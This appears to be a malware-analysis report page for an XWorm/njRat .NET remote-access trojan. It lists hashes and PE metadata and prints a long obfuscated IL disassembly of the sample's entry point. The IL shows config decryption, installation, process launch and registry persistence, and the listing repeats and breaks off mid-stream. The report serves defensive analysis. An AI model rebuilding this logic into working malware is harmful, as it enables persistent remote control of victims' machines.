Deep Malware Analysis of 4cea87712364bcc12b941d51ca1b3be1 | md5: 4cea87712364bcc12b941d51ca1b3be1 | RAT | njRat | Executable | PE (Portable Executable) | Managed .NET | PE File Layout | Win 32 Exe | x86 | .Net | SOS: 0.36 | XWorm

PE Executable

MD5: 4cea87712364bcc12b941d51ca1b3be1

Size: 97.28 KB

application/x-dosexec

Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.

Unlock with Essential

Symbol Obfuscation Score Medium

MD5	4cea87712364bcc12b941d51ca1b3be1
Sha1	6b88782888bc1eb27ce39b9d449b6c099e3aa4ae
Sha256	9b7023ed9d783bf33aa0178b91f82c2e6e7d69cd5db878845171fde65481bb4b
Sha384	cdc9f95f641dc2b33c2878a5fc8c8ef282cbac9c4624bdefa27c1a75688e9d80177575cbf1b44a90b79f58435a90059f
Sha512	4548f6f8848d243533706f670ac9984075c5aac81bf83d8a41b084824337fff30585101508171c349b9a26e6919cb9a1d11fc925e459c66375c0c89ecf1cef5a
SSDeep	1536:xm2QoNUdqM2icHJh+IuTEuEhPzDgq+AfdheL0aVuBt8ZJ8UgbzQSg:xVZU4M2iqiTEHvnVheoUgbzW
TLSH	3D936C0DF7118954CA9C0F7BC967950846ECD4A7A827EB7F28E89EE15D32CD8C98F940

PeID

.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET

Config. Field	Value
family	xhuhuhuhu

We extracted this malware's full configuration (C2, credentials, campaign IDs…).

Unlock with Essential

Name	Value
Info	PE Detect: PeReader OK (file layout)
Module Name	XWORM.exe
Full Name	XWORM.exe
EntryPoint	System.Void Stub.Main::Main()
Scope Name	XWORM.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	XWORM
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	0
Main Method	System.Void Stub.Main::Main()
Main IL Instruction Count	604
Main IL	ldsfld System.Char[] Stub.Messages::Ⴓ stloc.s V_25 ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> ldc.i4 446 ldc.i4 417 call System.Void My.MyApplication::Ⴀ(System.Int32,System.Int16,System.Int16) ldc.i4.7 <null> stloc.s V_20 ldloc.s V_20 switch dnlib.DotNet.Emit.Instruction[] ldsfld System.String Settings::Hosts call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 213 ldc.i4 203 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) stsfld System.String Settings::Hosts ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 615 ldc.i4 633 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) stsfld System.String Settings::Port ldc.i4.6 <null> stloc.s V_20 br.s IL_0024: ldloc.s V_20 ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 263 ldc.i4 281 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 316 ldc.i4 290 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) stsfld System.String Settings::SPL ldc.i4.8 <null> stloc.s V_20 br IL_0024: ldloc.s V_20 ldsfld System.String Settings::Groub call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 943 ldc.i4 945 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) stsfld System.String Settings::Groub ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 865 ldc.i4 895 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) stsfld System.String Settings::USBNM ldc.i4.1 <null> stloc.s V_20 br IL_0024: ldloc.s V_20 ldsfld System.String Settings::InstallDir call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 706 ldc.i4 732 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) ldc.i4 722 ldc.i4 669 call System.String Stub.Main::Ⴈ<System.String>(System.String,System.Int16,System.Int32) stsfld System.String Settings::InstallDir ldc.i4.3 <null> stloc.s V_20 br IL_0024: ldloc.s V_20 ldsfld System.String Settings::InstallStr call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 976 ldc.i4 974 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) stsfld System.String Settings::InstallStr leave.s IL_0198: ldc.i4.2 dup <null> ldc.i4.s 78 ldc.i4.7 <null> call System.Void Stub.Main::Ⴅ<System.Exception>(System.Exception,System.Char,System.Int16) stloc.3 <null> ldc.i4.0 <null> ldc.i4 602 ldc.i4 634 call System.Void My.MyApplication::Ⴀ(System.Int32,System.Int16,System.Int16) ldc.i4 542 ldc.i4 563 call System.Void Stub.Uninstaller::Ⴐ(System.Char,System.Int16) leave.s IL_0198: ldc.i4.2 ldc.i4.2 <null> stloc.s V_22 ldloc.s V_22 switch dnlib.DotNet.Emit.Instruction[] call System.Boolean Ⴈ.Ⴃ::Ⴀ() brtrue.s IL_01CA: ldc.i4.1 ldc.i4.3 <null> stloc.s V_22 br.s IL_019B: ldloc.s V_22 ldc.i4.1 <null> br.s IL_01C6: stloc.s V_22 ldc.i4.0 <null> ldc.i4 424 ldc.i4 392 call System.Void My.MyApplication::Ⴀ(System.Int32,System.Int16,System.Int16) ldsfld System.String Settings::InstallDir ldc.i4 1468082485 ldc.i4.7 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldsfld System.String Settings::InstallStr ldc.i4 409 ldc.i4 419 call System.String My.MyApplication::Ⴃ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Char,System.Int16) stloc.0 <null> ldc.i4.6 <null> stloc.s V_24 ldloc.s V_24 switch dnlib.DotNet.Emit.Instruction[] ldloc.0 <null> isinst System.String newobj System.Void System.IO.FileInfo::.ctor(System.String) ldc.i4 353 ldc.i4 271 call System.IO.DirectoryInfo Stub.Uninstaller::Ⴀ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Int16) ldc.i4 848 ldc.i4 883 call System.String My.MyApplication::Ⴜ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Int16,System.Int16) stloc.s V_4 ldc.i4.8 <null> stloc.s V_24 br.s IL_0206: ldloc.s V_24 ldloc.s V_4 ldc.i4 580 ldc.i4 602 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) ldc.i4 162 ldc.i4 162 call System.Boolean My.MyApplication::ႷႨ<System.String>(System.String,System.Char,System.Char) brtrue.s IL_028F: ldc.i4.1 ldc.i4.2 <null> stloc.s V_24 br IL_0206: ldloc.s V_24 ldc.i4.1 <null> br.s IL_0288: stloc.s V_24 ldloc.s V_4 ldc.i4 246 ldc.i4 232 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) ldc.i4 464 ldc.i4 443 call System.IO.DirectoryInfo My.MyComputer::Ⴀ<System.String>(System.String,System.Int16,System.Int32) pop <null> ldc.i4.1 <null> stloc.s V_24 br IL_0206: ldloc.s V_24 ldloc.0 <null> castclass System.String ldc.i4 490 ldc.i4 491 call System.Boolean My.MyApplication::ႷႨ<System.String>(System.String,System.Char,System.Char) brfalse.s IL_02E3: ldc.i4.5 ldloc.s V_25 ldc.i4.2 <null> ldelem.u2 <null> ldc.i4 18017 sub <null> stloc.s V_24 br IL_0206: ldloc.s V_24 ldc.i4.5 <null> br.s IL_02DC: stloc.s V_24 ldloc.0 <null> isinst System.String newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_5 ldloc.s V_5 castclass System.IO.FileInfo ldc.i4 893 ldc.i4 881 call System.Void Stub.Uninstaller::Ⴓ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Int32) ldc.i4 1000 ldc.i4 649 ldc.i4 662 call System.Void My.MyApplication::Ⴀ(System.Int32,System.Int16,System.Int16) ldloc.0 <null> isinst System.String ldsfld System.String Ⴈ.Ⴃ::Ⴃ ldc.i4 836 ldc.i4 772 call System.Byte[] My.MyComputer::Ⴄ<System.String>(System.String,System.Char,System.Int16) ldc.i4.s 44 ldc.i4.s 28 call System.Void Stub.Main/Ⴄ::ႤႭ<System.String>(System.String,System.Byte[],System.Int16,System.Int16) leave.s IL_0365: ldc.i4.2 dup <null> ldc.i4 716 ldc.i4 645 call System.Void Stub.Main::Ⴅ<System.Exception>(System.Exception,System.Char,System.Int16) stloc.s V_6 ldc.i4 614 ldc.i4 587 call System.Void Stub.Uninstaller::Ⴐ(System.Char,System.Int16) leave.s IL_0365: ldc.i4.2 ldc.i4.2 <null> stloc.s V_27 ldloc.s V_27 switch dnlib.DotNet.Emit.Instruction[] ldc.i4 1468082483 ldc.i4.5 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_8 ldloc.s V_8 castclass System.Diagnostics.ProcessStartInfo ldc.i4.1 <null> ldc.i4 389 ldc.i4 430 call System.Void Stub.Uninstaller::Ⴗ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Diagnostics.ProcessWindowStyle,System.Int32,System.Int32) ldc.i4.8 <null> stloc.s V_27 br.s IL_0368: ldloc.s V_27 call System.String Stub.ClientSocket::UAC() ldc.i4 1013 ldc.i4 1015 call System.Boolean My.MyApplication::ႷႨ<System.String>(System.String,System.Char,System.Char) brfalse.s IL_03DD: ldc.i4.6 ldc.i4.1 <null> stloc.s V_27 br.s IL_0368: ldloc.s V_27 ldc.i4.6 <null> br.s IL_03D9: stloc.s V_27 ldloc.s V_8 castclass System.Diagnostics.ProcessStartInfo ldc.i4.5 <null> newarr System.String stloc.s V_13 ldloc.s V_13 castclass System.String[] ldc.i4.0 <null> ldc.i4 1468082432 ldc.i4.1 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) stelem.ref <null> ldloc.s V_13 castclass System.String[] ldc.i4.1 <null> ldsfld System.String Settings::InstallStr ldc.i4 1004 ldc.i4 957 call System.String Stub.Main::Ⴈ<System.String>(System.String,System.Int16,System.Int32) stelem.ref <null> ldloc.s V_13 isinst System.String[] ldc.i4.2 <null> ldc.i4 1468082418 ldc.i4.3 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) stelem.ref <null> ldloc.s V_13 castclass System.String[] ldc.i4.3 <null> ldloc.0 <null> castclass System.String stelem.ref <null> ldloc.s V_13 castclass System.String[] ldc.i4.4 <null> ldc.i4 1468082375 ldc.i4.8 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) stelem.ref <null> ldloc.s V_13 isinst System.String[] ldc.i4 559 ldc.i4 526 call System.String My.MyComputer::Ⴓ(System.String[],System.Char,System.Char) ldc.i4 286 ldc.i4 314 call System.Void Stub.Uninstaller::Ⴄ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Int32,System.Int32) ldc.i4.0 <null> stloc.s V_27 br IL_0368: ldloc.s V_27 ldloc.s V_8 isinst System.Diagnostics.ProcessStartInfo ldc.i4.5 <null> newarr System.String stloc.s V_13 ldloc.s V_13 castclass System.String[] ldc.i4.0 <null> ldc.i4 1468082369 ldc.i4.2 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) stelem.ref <null> ldloc.s V_13 castclass System.String[] ldc.i4.1 <null> ldsfld System.String Settings::InstallStr ldc.i4 1008 ldc.i4 929 call System.String Stub.Main::Ⴈ<System.String>(System.String,System.Int16,System.Int32) stelem.ref <null> ldloc.s V_13 castclass System.String[] ldc.i4.2 <null> ldc.i4 1468082418 ldc.i4.3 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) stelem.ref <null> ldloc.s V_13 isinst System.String[] ldc.i4.3 <null> ldloc.0 <null> castclass System.String stelem.ref <null> ldloc.s V_13 castclass System.String[] ldc.i4.4 <null> ldc.i4 1468082382 ldc.i4.1 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) stelem.ref <null> ldloc.s V_13 castclass System.String[] ldc.i4 724 ldc.i4 757 call System.String My.MyComputer::Ⴓ(System.String[],System.Char,System.Char) ldc.i4 771 ldc.i4 807 call System.Void Stub.Uninstaller::Ⴄ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Int32,System.Int32) ldloc.s V_8 isinst System.Diagnostics.ProcessStartInfo ldc.i4 305 ldc.i4 296 call System.Diagnostics.Process Stub.Main/Ⴄ::ႤႳ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Char,System.Int16) stloc.s V_7 ldloc.s V_7 isinst System.Diagnostics.Process ldc.i4 558 ldc.i4 616 call System.Void My.MyComputer::ႥႥ<System.Diagnostics.Process>(System.Diagnostics.Process,System.Int16,System.Char) leave.s IL_0579: ldc.i4.0 dup <null> ldc.i4 664 ldc.i4 721 call System.Void Stub.Main::Ⴅ<System.Exception>(System.Exception,System.Char,System.Int16) stloc.s V_9 ldc.i4 747 ldc.i4 710 call System.Void Stub.Uninstaller::Ⴐ(System.Char,System.Int16) leave.s IL_0579: ldc.i4.0 ldc.i4.0 <null> stloc.s V_29 ldloc.s V_29 switch dnlib.DotNet.Emit.Instruction[] call My.MyComputer My.MyProject::Ⴅ() ldc.i4 246 ldc.i4 225 call Microsoft.VisualBasic.MyServices.RegistryProxy Stub.Main/Ⴄ::ႤႥ<Microsoft.VisualBasic.Devices.ServerComputer>(Microsoft.VisualBasic.Devices.ServerComputer,System.Int32,System.Int32) ldc.i4 195 ldc.i4 234 call Microsoft.Win32.RegistryKey Stub.Main/Ⴄ::ႤႰ<Microsoft.VisualBasic.MyServices.RegistryProxy>(Microsoft.VisualBasic.MyServices.RegistryProxy,System.Int16,System.Char) ldc.i4 1468082338 ldc.i4.5 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldc.i4.1 <null> ldc.i4 772 ldc.i4 890 call Microsoft.Win32.RegistryKey My.MyComputer::ႥႣ<Microsoft.Win32.RegistryKey,System.String>(Microsoft.Win32.RegistryKey,System.String,System.Boolean,System.Int32,System.Char) ldsfld System.String Settings::InstallStr ldc.i4 415 ldc.i4 462 call System.String Stub.Main::Ⴈ<System.String>(System.String,System.Int16,System.Int32) ldloc.0 <null> castclass System.String ldc.i4 562 ldc.i4 596 call System.Void Stub.Main/Ⴄ::ႤႨ<Microsoft.Win32.RegistryKey,System.Object,System.String>(Microsoft.Win32.RegistryKey,System.String,System.Object,System.Char,System.Int32) leave.s IL_0624: ldc.i4.5 dup <null> ldc.i4 693 ldc.i4 764 call System.Void Stub.Main::Ⴅ<System.Exception>(System.Exception,System.Char,System.Int16) stloc.s V_10 ldc.i4 749 ldc.i4 704 call System.Void Stub.Uninstaller::Ⴐ(System.Char,System.Int16) leave.s IL_0624: ldc.i4.5 ldc.i4.5 <null> stloc.s V_31 ldloc.s V_31 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.7 <null> ldc.i4.s 39 ldc.i4.s 112 call System.String My.MyApplication::ႷႳ(System.Environment/SpecialFolder,System.Int32,System.Char) ldc.i4 1468082484 ldc.i4.6 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldsfld System.String Settings::InstallStr ldc.i4 316 ldc.i4 365 call System.String Stub.Main::Ⴈ<System.String>(System.String,System.Int16,System.Int32) ldc.i4 1468082335 ldc.i4.8 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldc.i4.s 32 ldc.i4.s 78 call System.String Stub.Main/Ⴄ::ႠႭ<System.String,System.String,System.String,System.String>(System.String,System.String,System.String,System.String,System.Int32,System.Int32) stloc.s V_11 ldc.i4.2 <null> stloc.s V_31 br.s IL_0627: ldloc.s V_31 ldc.i4 1468082283 ldc.i4.5 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldc.i4 1468082841 ldc.i4.8 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldc.i4 1468082294 ldc.i4.8 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldc.i4.1 <null> newarr System.Object stloc.s V_14 ldloc.s V_14 castclass System.Object[] ldc.i4.0 <null> ldloc.s V_11 castclass System.String stelem.ref <null> ldloc.s V_14 isinst System.Object[] stloc.s V_15 ldloc.s V_15 isinst System.Object[] ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_16 ldloc.s V_16 castclass System.Boolean[] ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_16 castclass System.Boolean[] call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_16 castclass System.Boolean[] ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_0739: stloc.s V_17 ldloc.s V_15 castclass System.Object[] ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_11 stloc.s V_17 ldloc.s V_17 ldnull <null> ldc.i4 1468082253 ldc.i4.2 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldc.i4.1 <null> newarr System.Object stloc.s V_18 ldloc.s V_18 castclass System.Object[] ldc.i4.0 <null> ldloc.0 <null> isinst System.String stelem.ref <null> ldloc.s V_18 castclass System.Object[] ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldc.i4.4 <null> stloc.s V_31 br IL_0627: ldloc.s V_31 ldloc.s V_17 ldnull <null> ldc.i4 1468082266 ldc.i4.2 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldc.i4.1 <null> newarr System.Object stloc.s V_18 ldloc.s V_18 castclass System.Object[] ldc.i4.0 <null> ldc.i4 1468082835 ldc.i4.2 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) stelem.ref <null> ldloc.s V_18 castclass System.Object[] ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldc.i4.3 <null> stloc.s V_31 br IL_0627: ldloc.s V_31 ldloc.s V_17 ldnull <null> ldc.i4 1468082223 ldc.i4.0 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldc.i4.8 <null> stloc.s V_31 br IL_0627: ldloc.s V_31 ldnull <null> stloc.s V_17 ldloc.s V_11 castclass System.String ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Ⴈ.Ⴃ::Ⴍ leave.s IL_080A: ldc.i4.4 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_12 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_080A: ldc.i4.4 ldc.i4.4 <null> stloc.s V_33 ldloc.s V_33 switch dnlib.DotNet.Emit.Instruction[] call System.Void Ⴈ.Ⴃ::Ⴈ() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldc.i4.3 <null> stloc.s V_33 br.s IL_080D: ldloc.s V_33 ldnull <null> ldftn System.Void Stub.Main::_Lambda$__3() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> castclass System.Threading.Thread callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> isinst System.Threading.Thread callvirt System.Void System.Threading.Thread::Start() ldloc.s V_25 ldc.i4 279 ldelem.u2 <null> ldc.i4 63178 sub <null> stloc.s V_33 br IL_080D: ldloc.s V_33 ldloc.2 <null> isinst System.Threading.Thread callvirt System.Void System.Threading.Thread::Join() ret <null> ldtoken System.Void Stub.Main::Main() pop <null> ret <null>
Module Name	XWORM.exe
Full Name	XWORM.exe
EntryPoint	System.Void Stub.Main::Main()
Scope Name	XWORM.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	XWORM
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	0
Main Method	System.Void Stub.Main::Main()
Main IL Instruction Count	604
Main IL	ldsfld System.Char[] Stub.Messages::Ⴓ stloc.s V_25 ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> ldc.i4 446 ldc.i4 417 call System.Void My.MyApplication::Ⴀ(System.Int32,System.Int16,System.Int16) ldc.i4.7 <null> stloc.s V_20 ldloc.s V_20 switch dnlib.DotNet.Emit.Instruction[] ldsfld System.String Settings::Hosts call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 213 ldc.i4 203 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) stsfld System.String Settings::Hosts ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 615 ldc.i4 633 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) stsfld System.String Settings::Port ldc.i4.6 <null> stloc.s V_20 br.s IL_0024: ldloc.s V_20 ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 263 ldc.i4 281 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 316 ldc.i4 290 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) stsfld System.String Settings::SPL ldc.i4.8 <null> stloc.s V_20 br IL_0024: ldloc.s V_20 ldsfld System.String Settings::Groub call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 943 ldc.i4 945 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) stsfld System.String Settings::Groub ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 865 ldc.i4 895 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) stsfld System.String Settings::USBNM ldc.i4.1 <null> stloc.s V_20 br IL_0024: ldloc.s V_20 ldsfld System.String Settings::InstallDir call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 706 ldc.i4 732 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) ldc.i4 722 ldc.i4 669 call System.String Stub.Main::Ⴈ<System.String>(System.String,System.Int16,System.Int32) stsfld System.String Settings::InstallDir ldc.i4.3 <null> stloc.s V_20 br IL_0024: ldloc.s V_20 ldsfld System.String Settings::InstallStr call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 976 ldc.i4 974 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) stsfld System.String Settings::InstallStr leave.s IL_0198: ldc.i4.2 dup <null> ldc.i4.s 78 ldc.i4.7 <null> call System.Void Stub.Main::Ⴅ<System.Exception>(System.Exception,System.Char,System.Int16) stloc.3 <null> ldc.i4.0 <null> ldc.i4 602 ldc.i4 634 call System.Void My.MyApplication::Ⴀ(System.Int32,System.Int16,System.Int16) ldc.i4 542 ldc.i4 563 call System.Void Stub.Uninstaller::Ⴐ(System.Char,System.Int16) leave.s IL_0198: ldc.i4.2 ldc.i4.2 <null> stloc.s V_22 ldloc.s V_22 switch dnlib.DotNet.Emit.Instruction[] call System.Boolean Ⴈ.Ⴃ::Ⴀ() brtrue.s IL_01CA: ldc.i4.1 ldc.i4.3 <null> stloc.s V_22 br.s IL_019B: ldloc.s V_22 ldc.i4.1 <null> br.s IL_01C6: stloc.s V_22 ldc.i4.0 <null> ldc.i4 424 ldc.i4 392 call System.Void My.MyApplication::Ⴀ(System.Int32,System.Int16,System.Int16) ldsfld System.String Settings::InstallDir ldc.i4 1468082485 ldc.i4.7 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldsfld System.String Settings::InstallStr ldc.i4 409 ldc.i4 419 call System.String My.MyApplication::Ⴃ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Char,System.Int16) stloc.0 <null> ldc.i4.6 <null> stloc.s V_24 ldloc.s V_24 switch dnlib.DotNet.Emit.Instruction[] ldloc.0 <null> isinst System.String newobj System.Void System.IO.FileInfo::.ctor(System.String) ldc.i4 353 ldc.i4 271 call System.IO.DirectoryInfo Stub.Uninstaller::Ⴀ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Int16) ldc.i4 848 ldc.i4 883 call System.String My.MyApplication::Ⴜ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Int16,System.Int16) stloc.s V_4 ldc.i4.8 <null> stloc.s V_24 br.s IL_0206: ldloc.s V_24 ldloc.s V_4 ldc.i4 580 ldc.i4 602 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) ldc.i4 162 ldc.i4 162 call System.Boolean My.MyApplication::ႷႨ<System.String>(System.String,System.Char,System.Char) brtrue.s IL_028F: ldc.i4.1 ldc.i4.2 <null> stloc.s V_24 br IL_0206: ldloc.s V_24 ldc.i4.1 <null> br.s IL_0288: stloc.s V_24 ldloc.s V_4 ldc.i4 246 ldc.i4 232 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) ldc.i4 464 ldc.i4 443 call System.IO.DirectoryInfo My.MyComputer::Ⴀ<System.String>(System.String,System.Int16,System.Int32) pop <null> ldc.i4.1 <null> stloc.s V_24 br IL_0206: ldloc.s V_24 ldloc.0 <null> castclass System.String ldc.i4 490 ldc.i4 491 call System.Boolean My.MyApplication::ႷႨ<System.String>(System.String,System.Char,System.Char) brfalse.s IL_02E3: ldc.i4.5 ldloc.s V_25 ldc.i4.2 <null> ldelem.u2 <null> ldc.i4 18017 sub <null> stloc.s V_24 br IL_0206: ldloc.s V_24 ldc.i4.5 <null> br.s IL_02DC: stloc.s V_24 ldloc.0 <null> isinst System.String newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_5 ldloc.s V_5 castclass System.IO.FileInfo ldc.i4 893 ldc.i4 881 call System.Void Stub.Uninstaller::Ⴓ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Int32) ldc.i4 1000 ldc.i4 649 ldc.i4 662 call System.Void My.MyApplication::Ⴀ(System.Int32,System.Int16,System.Int16) ldloc.0 <null> isinst System.String ldsfld System.String Ⴈ.Ⴃ::Ⴃ ldc.i4 836 ldc.i4 772 call System.Byte[] My.MyComputer::Ⴄ<System.String>(System.String,System.Char,System.Int16) ldc.i4.s 44 ldc.i4.s 28 call System.Void Stub.Main/Ⴄ::ႤႭ<System.String>(System.String,System.Byte[],System.Int16,System.Int16) leave.s IL_0365: ldc.i4.2 dup <null> ldc.i4 716 ldc.i4 645 call System.Void Stub.Main::Ⴅ<System.Exception>(System.Exception,System.Char,System.Int16) stloc.s V_6 ldc.i4 614 ldc.i4 587 call System.Void Stub.Uninstaller::Ⴐ(System.Char,System.Int16) leave.s IL_0365: ldc.i4.2 ldc.i4.2 <null> stloc.s V_27 ldloc.s V_27 switch dnlib.DotNet.Emit.Instruction[] ldc.i4 1468082483 ldc.i4.5 <null> ldnull <null> 